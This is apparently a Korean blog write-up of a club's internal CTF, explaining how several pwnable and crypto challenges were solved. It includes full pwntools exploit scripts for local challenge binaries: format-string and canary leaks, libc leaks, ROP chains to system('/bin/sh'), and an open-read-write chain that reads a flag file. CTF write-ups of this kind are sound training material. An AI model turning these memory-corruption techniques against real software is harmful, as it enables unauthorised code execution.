2020-08-05 18:00 ~ 2020-08-06 18:00
이번에 동아리 내부 CTF를 24시간동안 진행하였으며,
해당 CTF를 진행하는 동안 풀었던 문제에 대한 write up입니다.
kernel 관련 문제를 풀려고 파일을 다운받다가
VMware가 고장이 나서 절반 이상의 exploit code가 증발해버렸습니다 ㅠ
망할 Unknown !!!
# sanity check
선착순 2등이다 ㄲㅂ
# S-seccomp
seccomp라길래 system함수 막아뒀을 거같아서
execve호출했다.
# lyrics
문제의 링크로 가면 웹사이트에 영어가사가 도배되어있는데
개발자도구(단축키 F12)로 웹페이지소스를 보면
태그들 사이에 한글자씩 무언가 적혀있다
다모으면 flag완성
# bonus
* 바이너리에 fopen과 같은 다른 파일을 참조하는 함수가 있으면 그 환경을 구축해주자
이 문제에서는 /home/bonus 경로를 만들어 flag파일을 만들어두어야 로컬에서 실습가능하다.
간단하게 bss 영역에 flag값 읽어다가 적어두고 close한다
bof가 발생하여 ROP하고 싶지만 leak할 수 없어서 힘들어보인다
하지만 잘보면 bof의 범위가 매우 큰 것을 확인할 수 있다.
때문에 stack 영역을 어지럽힐 수 있는데
이를 통해서 stack smashed detected를 특별하게 만들 수 있다.
일단 이를 알게된 삽질과정이다.
특정 길이 이상의 payload를 보내면 평소와는 다르게 죽는 모습이 보였다.
자세히 분석해보면
빨간색 네모박스를 이상한 값으로 덮는 순간 죽었는데
아마도 "./bonus" 라는 문자열을 참조해야해서 그런 것같다.
근데 어째 익숙하지 않은가?
이정도면 exploit code가 바로 나올 것으로 예상된다.
exploit code
from pwn import*
p = process('./bonus')
# gadget
pop_rdi = 0x0000000000400863
bss = 0x601080
# exploit
pay = ''
pay += 'a'*0x28
pay += 'X'*0xe0
pay += p64(0x601080)
p.send(pay)
p.interactive()
crypto 싫어요오오ㅠ
# simple_cipher
서버에 접속해보면
decrypt cipher값을 대입해야만 flag를 얻을 수 있다.
substitution cipher는 치환암호인데
입력이 무한인가 싶어 엔터를 막쳤더니...
힌트가 나왔다.
flag를 site를 통해서도 구할 수 있다고 해서 서칭했다.
https://www.guballa.de/vigenere-solver
웹사이트 주소로 가면 flag를 얻을 수 있다.
총 11문제가 출제되었으며, 9문제 FLAG를 제출했다.
# basic
전형적인 OOB가 발생하는 배열과 Stack Pivot을 합쳐 놓은 문제였다.
vuln함수를 실행하기 위해서 v6 값을 1어야 했는데
v5값을 23으로 입력하면 v6값을 조작할 수 있게 된다.
stack pivot은 너무 익숙하므로 exploit 코드는 생략
# is_it_pitfall
main함수 하나만 존재하는데
내부에 총 4번의 FSB가 발생하는 문제였다.
sf5처럼 gets를 덮었다.
https://sf-jam.tistory.com/62?category=817387
exploit code는 위 게시글로 대체
# digger
이번 문제에서는 Canary 보호기법을 이용했습니다.
main에서 문제에 대한 정답을 입력받을 때까지 FSB가 발생한다.
눈에 보이는 memset이나 read를 덮으면 좋겠지만,
계속 반복실행되어 오류가 잦으므로
Canary를 검증하는 __stack_chk_fail() 함수를 원가젯으로 덮었다.
반복문 탈출 이후 read함수를 통해 canary값을 변조하면
자연스레 exploit 성공
참고로 반복문을 탈출하는 문제의 답은 코드에 있다.
이것도 초반에 풀어서 exploit code가 날라간 관계로 생략
# M_I_S_C_T_A_R_Y
전체적인 로직은 다음과 같다
사용자로부터 총 11번의 입력을 받는데
case 1번은 배열의 값을 출력해주며,
2번은 배열의 값을 조작할 수가 있다.
이 때 index값은 원하는대로 참조가 가능한 편이다.
배열의 원하는 값을 바꿀 수 있는 로직을 통하여 얻을 수 있는 것은
최종적으로 system함수에 실행할 명령어를 조작할 수 잇다는 점이다.
main의 시작부분에서는 init함수를 통해 배열의 값을 rand함수로 초기화하는데
이 때 이 값들은 최대 42에서 49까지 가능하다.
그리고 이 값들이 /bin/sh\x00이 되었든
cat flag가 되었든 만들어야 하는데
rand함수만으로는 충족할 수 없기 때문에
로직을 이용해 배열 값을 적절히 바꾸어야 한다.
또한 어떠한 값이 들어갔는지 case 1번을 통해 확인을 하고
case 2번을 통해 수정해야하므로 총 12번을 반복해야하지만
반복문이 11번 뿐이므로 나는 '/'값이 rand함수로 나올 때까지 brute force해야 했다.
exploit code를 진짜 기가막히게 짰었지만 놀랄까봐 생략
# strcpy
RTL의 개념을 배울 수 있었던 sf2와 거의 흡사하며
bss에 원하는 문자열을 하나 적을 수 있는 1번 메뉴와
OOB를 이용하여 libc값을 leak할 수 있는 2번 메뉴도 동일하다.
참고 : https://sf-jam.tistory.com/25?category=817387
핵심은 메뉴 3번의 str_cpy함수인데
취약점을 발생시키는 부분은 lob 18번과 동일하다.
먼저 strcpy 함수는 길이를 검사하지 않고 대입한다는 부분때문에
기본적으로 memory corruption에 취약하다
그러나 이번 문제에선 32bit에서 strcpy가 인자를 가져가는 방식을 이용하여
eip를 컨트롤하고자 한다.
문제에선 위와 보다시피 ret에 해당하는 위치에 strcpy_plt 값이 있어야 하고
(line 7에 s2=strcpy는 s2변수에 strcpy주솟값 담는 것이다)
memset을 통하여 어딘가를 'AAAA'로 설정하는 것이 보인다.
예상한대로 ret다음을 'AAAA' 로 덮어버려서
strcpy함수 호출 이후에 '0x41414141' 에서 죽도록 하고 있다.
하지만 strcpy를 다음과 같이 활용한다면 'AAAA'로 덮힌 부분을
원하는 곳으로 다시 덮어씀으로써 다음 eip값을 조작할 수 있겠다.
0x58585858이 memset에 의해 0x41414141로 덮힌 뒤에
strcpy로 다시 RTL한 주소로 덮는다면
eip 컨트롤 가능하다.
* 참고로 str_cpy 함수 실행과 동시에 buf주소를 주기 때문에 가능한 것이다.
exploit code가 날라갔었지만, 그래도 빠르게 다시 작성했다.
exploit code
from pwn import*
p = process('./strcpy')
t = 0.05
# Gadget
strcpy_plt = 0x8048490
bss = 0x804A060
# Defintion
def menu(sel):
p.sendlineafter('> ',str(sel))
def create(pay):
menu(1)
p.sendlineafter(' : ','0')
p.sendafter(' : ',pay)
def show(idx):
menu(2)
p.sendlineafter(' : ',str(idx))
### Exploit
# str_bin_sh
pay = '/bin/sh\x00'
create(pay)
# libc leak
show(-4)
p.recvuntil(' : ')
libc_printf = u32(p.recv(4))
libc_base = libc_printf - 300672
libc_system = libc_base + 241072
log.info("libc_printf : {}".format(hex(libc_printf)))
log.info("libc_base : {}".format(hex(libc_base)))
log.info("libc_system : {}".format(hex(libc_system)))
# buffer leak
menu(3)
p.recvuntil(' : ')
buf_addr = int(p.recv(10),16)
log.info("buf_addr : {}".format(hex(buf_addr)))
# exploit
pay = ''
pay += p32(libc_system)
pay += 'X'*0x4 # dummy
pay += p32(bss)
pay += 'a'*(0x3C-len(pay))
pay += 'b'*0x4 # sfp
pay += p32(strcpy_plt) # ret
pay += 'X'*0x4 # dummy
pay += p32(buf_addr+0x44) # -> ebp+8
pay += p32(buf_addr) # -> ebp-0x3C
raw_input()
p.send(pay)
p.interactive()
# Checksum
if문의 조건만 우회한다면
FSB가 한번 발생하는 것으로 보이고, 이를 기반으로 ROP가 가능한 것을 알 수 있다.
저 if문은 상수형 문자열들의 정수값들을 다 더한 값과
지역변수의 문자열들의 정수값들을 다 더한 값을 비교하여
동일하면 통과하는 조건이다.
지역변수의 문자열들의 일부만 수정이 가능하지만
덧셈 결과만 똑같으면 되기에 첫번째 문자값을 0~255까지 brute force하여 구했다.
* 서버랑 로컬의 스택 인덱스 차이 때문에 이상한 삽질했다
exploit code
from pwn import*
p = process('./Checksum')
t = 0.3
### Gadget
puts_got = 0x804A01C
### Exploit
## Leak
pay = ''
#pay += 'aaa%5$x%12$x' # local
pay += 'aaa%6$s%13$x'
pay += p32(puts_got)
pay += p8(0)*(20-len(pay))
pay += p8(99)
p.send(pay);sleep(t)
# Libc leak
p.recvuntil('aaa')
libc_puts = u32(p.recv(4))
libc_base = libc_puts - 392368
libc_system = libc_base + 241072
bin_sh_str = libc_puts + 0xfbe5b
log.info("libc_puts : {}".format(hex(libc_puts)))
# Canary leak
canary = int(p.recvuntil('00')[-8:-2]+'00',16)
log.info("Canary : {}".format(hex(canary)))
# exploit
pay = ''
pay += 'a'*0x14 # dummy
pay += p32(canary) # canary
pay += 'b'*0x4 # sfp
pay += p32(libc_system) # ret
pay += 'X'*0x4 # dummy
pay += p32(bin_sh_str) # arg
p.send(pay);sleep(t)
p.interactive()
# Lucky Land
간단한 UPX 언패킹과 기법도 필요없는 1byte overflow였는데
나(출제자) 제외 한명밖에 안풀어서 속상했다.
야심차게냈는데 아무도 안풀어주고 밉다
https://sf-jam.tistory.com/89?category=836294
# Baby Syscall
이 문제 처음보고 SROP인줄 알아서 삽질 엄청했다.
시간낭비 ON
pwnable.kr의 tiny_easy이후로는 놀랍지도 않다만
gadget도 없는 곳에 단순히 BOF 하나만 던져줘서 당황했다.
이상한 gadget을 엄청 넣어보다가 HINT를 보고 풀었다.
먼저 EXECVEAT SYSCALL에 대해 알아보자면
execve('/bin/sh',0,0) 과 동일한 기능을 수행할 수 있다.
때문에 인자들만 세팅하면 되는데
read함수의 반환값이 payload의 길이이기 때문에 syscall number는 맞출 수 있고
read함수와 write함수에서 레지스터들을 0으로 맞춰주기 때문에
rsi 레지스터만 '/bin/sh' 를 가르키게 하면된다.
마치 기다렸다는 듯이 rsi 레지스터가 read함수의 buf의 시작주소를 담고있고
payload로 '/bin/sh\x00' 만 작성하면 되겠다.
exploit code
from pwn import*
p = process('./baby_syscall')
# gadget
LR = 0x4000dd
key = 0x4000B8
ret = 0x4000de
syscall = 0x400094
# exploit
pay = ''
pay += '/bin/sh\x00'
#pay += p64(0x400018)
pay += p64(syscall)*(312/8)+'\x00\x00'
p.send(pay)
p.interactive()
# secretable
드디어 마지막 라업이다
개인적으로 이 문제가 제일 야무진 것같다.
unintended로 풀어서 기분좋아
이 문제를 보고 얻을 수 있는 것들은 bof로 인한 ROP가 가능하다와
read함수의 반환값으로 인해 canary leak 이 가능하겠구나였다.
또한 libc_printf의 값을 주기 때문에 ROP만 제대로하면 된다.
그러나 미심쩍은 부분은 INIT 함수인데,
프로그램 시작과 동시에 mmap을 통하여 메모리를 할당하고
그 공간에다가 flag값을 적어온다.
나는 이부분을 통해서 ORW를 이용해보자는 생각을 하게됬다.
Open Read Write를 이용하는 문제는 인터넷을 쳐도 찾아볼 수 있고
한번 이해하고나면 되게 쉬운 것이니 자세한 생략하도록 하겠다.
이 문제를 통해서 fd값이 0,1,2 이외에는 사용자가 임의로 사용할 수 있었고
open을 통해 반환되는 fd 값은 3임을 알 수 있었다.
* seccomp 생각안하고하다가 삽질했다 ㅎ;
exploit code
from pwn import*
p = process('./secretable',env={'LD_PRELOAD':'./libc-2.23.so'})
t = 0.05
### Exploit
# Canary leak
pay = ''
pay += 'a'*0x28
p.sendafter('>> ',pay) # name
p.recvuntil('a'*0x28+'!')
canary = u64('\x00'+p.recv(7))
log.info("Canary : {}".format(hex(canary)))
# Stack_addr leak
stack_ret_addr = u64(p.recv(6).ljust(8,'\x00'))-0x60
log.info("stack_ret_addr : {}".format(hex(stack_ret_addr)))
# Libc leak
p.recvuntil('[')
libc_printf = int(p.recv(14),16)
libc_base = libc_printf - 350224
log.info("libc_printf : {}".format(hex(libc_printf)))
# Gadget
# one_list = [0x45226,0x4527a,0xf0364,0xf1207] <- seccomp ahhhhhhhhhhhhhhhh
libc_mprotect = libc_base + 1054768
pop_rdi = libc_base + 0x21112
pop_rsi = libc_base + 0x202f8
pop_rdx = libc_base + 0x1b92
# payload
'''
context(arch = 'amd64', os = 'linux')
shellcode = ''
shellcode += asm(shellcraft.open("/home/secretable/flag"))
shellcode += asm(shellcraft.read("rax",stack_ret_addr+0xc0,0x100))
shellcode += asm(shellcraft.write(1,stack_ret_addr+0xc0,0x100))
# ahhhhhhhhhhhhhhhhh
'''
libc_open = libc_base + 1011952
libc_read = libc_base + 1012496
libc_write = libc_base + 1012592
#libc_fopen = 0x7ffff7a7ad80
pay = ''
pay += '/home/secretable/flag\x00\x00\x00'
pay += 'a'*(0x48-len(pay))
pay += p64(canary) # canary
pay += 'S'*0x8 # sfp
pay += p64(pop_rdi) # ret
pay += p64(stack_ret_addr+0x10)
pay += p64(pop_rsi)
pay += p64(0)
pay += p64(libc_open)
pay += p64(pop_rdi)
pay += p64(3)
pay += p64(pop_rsi)
pay += p64(stack_ret_addr+0x150)
pay += p64(pop_rdx)
pay += p64(0x100)
pay += p64(libc_read)
pay += p64(pop_rdi)
pay += p64(1)
pay += p64(pop_rsi)
pay += p64(stack_ret_addr+0x150)
pay += p64(pop_rdx)
pay += p64(0x100)
pay += p64(libc_write)
pay += p64(0xDEADBEEF)
raw_input()
p.sendafter('>>',pay)
p.interactive()
참고로 이 문제 힌트는 요것이었는데
난 unintended였나보다.. ㅎ
# 후기
동기랑 밤새서 포너블 풀던 옛생각나서 되게 재밌었다.
잠을 잘 수가 없잖아..!
'CTF Review' 카테고리의 다른 글
[ stack ] DiceCTF 2022 interview-opportunity (0) | 2022.02.07 |
---|---|
[ stack ] SECCON 2020 OnlineCTF pwarmup (0) | 2020.10.12 |
[ stack ] SFctf2020 LuckyLand (0) | 2020.07.26 |
[ stack ] Rooters CTF 2019 Secure ROP (0) | 2019.11.27 |
[ heap ] Rooters CTF 2019 USER_ADMINISTRATION 미완 (0) | 2019.11.24 |